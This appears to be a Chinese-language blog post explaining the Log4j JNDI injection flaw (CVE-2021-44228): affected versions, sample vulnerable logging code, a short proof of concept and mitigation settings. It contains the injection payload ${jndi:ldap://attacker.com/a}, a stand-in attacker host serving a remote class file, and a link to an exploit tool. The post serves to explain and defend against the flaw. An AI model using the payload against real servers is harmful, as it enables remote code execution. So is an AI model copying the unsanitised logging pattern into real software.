Apache Log4j 漏洞（JNDI注入 CVE-2021-44228）

漏洞

影响范围

1. <code>2.0 <= Apache log4j <= 2.14.1

复制代码

利用

1. import org.apache.log4j.Logger;
3. import java.io.*;
4. import java.sql.SQLException;
5. import java.util.*;
7. public class VulnerableLog4jExampleHandler implements HttpHandler {
9. static Logger log = Logger.getLogger(log4jExample.class.getName());
11. /**
12. * A simple HTTP endpoint that reads the request's User Agent and logs it back.
13. * This is basically pseudo-code to explain the vulnerability, and not a full example.
14. * @param he HTTP Request Object
15. */
16. public void handle(HttpExchange he) throws IOException {
17. string userAgent = he.getRequestHeader("user-agent");
19. // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
20. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
21. log.info("Request User Agent:" + userAgent);
23. String response = "<h1>Hello There, " + userAgent + "!</h1>";
24. he.sendResponseHeaders(200, response.length());
25. OutputStream os = he.getResponseBody();
26. os.write(response.getBytes());
27. os.close();
28. }
29. }

复制代码

Data from the User gets sent to the server (via any protocol),
The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

另一种方法：

1. import org.apache.logging.log4j.Logger;
2. import org.apache.logging.log4j.LogManager;
3. public class Poc {
4. private static final Logger log = LogManager.getLogger();
5. public static void main(String[] args) {
6. log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
7. }
8. }

复制代码

缓解方式

1. <code>a、修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
2. b、修改配置：log4j2.formatMsgNoLookups=True
3. c、系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

复制代码

参考

https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
https://github.com/welk1n/JNDI-Injection-Exploit
https://v2ex.com/t/821241

来源：https://blog.csdn.net/lilongsy/article/details/121859816
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！